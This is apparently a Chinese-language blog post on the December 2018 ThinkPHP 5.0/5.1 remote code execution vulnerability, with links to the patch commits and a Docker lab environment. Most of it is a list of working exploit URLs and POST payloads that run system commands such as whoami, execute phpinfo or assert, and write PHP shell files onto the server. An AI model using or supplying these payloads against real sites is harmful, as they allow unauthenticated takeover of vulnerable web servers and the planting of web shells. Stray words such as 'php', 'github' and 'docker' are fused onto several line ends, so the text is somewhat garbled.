ThinkPHP官方2018年12月9日發佈重要的安全更新,修復了一個嚴重的遠程代碼執行漏洞。該更新主要涉及一個安全更新,因爲框架對控制器名沒有進行足夠的檢測會致使在沒有開啓強制路由的狀況下可能的getshell漏洞,受影響的版本包括5.0和5.1版本,推薦儘快更新到最新版本。php
主要是由於」\「的錯誤git
補丁:
Thinkphp v5.0.x補丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756fgithub
Thinkphp v5.1.x補丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815docker
環境地址:
docker漏洞環境源碼:https://github.com/vulnspy/thinkphp-5.1.29thinkphp
漏洞利用
1.遠程命令執行exp:shell
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
5.0.0~5.0.23xexp:安全
http://127.0.0.1/index.php?s=captcha post_poc1:_method=__construct&filter[]=system&method=get&get[]=whoami post_poc2:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
2.遠程代碼執行app
http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 #執行代碼phpinfo() http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert #5.1.x版本執行phpinfo() http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 #5.1.x版本 http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo() #5.0.x版本
3.寫shell框架
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>2.php
thinkPHP-漏洞集合:http://www.javashuo.com/article/p-qgxrhzig-dw.htmlpost